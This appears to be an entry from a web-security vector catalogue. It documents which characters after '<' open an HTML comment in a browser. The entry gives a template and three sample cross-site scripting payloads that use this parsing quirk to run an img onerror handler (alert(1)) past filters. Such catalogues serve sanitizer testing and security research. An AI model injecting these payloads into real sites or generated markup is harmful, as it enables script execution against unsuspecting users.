Characters that can start an HTML comment

This vector shows which characters can be used after the "<" character and act as an HTML comment

Created by: 0x999-x

Created on: Thursday, July 18, 2024 at 4:54:28 PM

Updated on: Tuesday, January 28, 2025 at 9:04:49 PM

Vector type: HTML

Vector charset: UTF-8

Template used:
<$[chr] <a/b="--><found>"

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Sample payloads

<! <a/b="--><img/src/onerror=alert(1)>"</ <a/b="--><img/src/onerror=alert(1)>"<? <a/b="--><img/src/onerror=alert(1)>"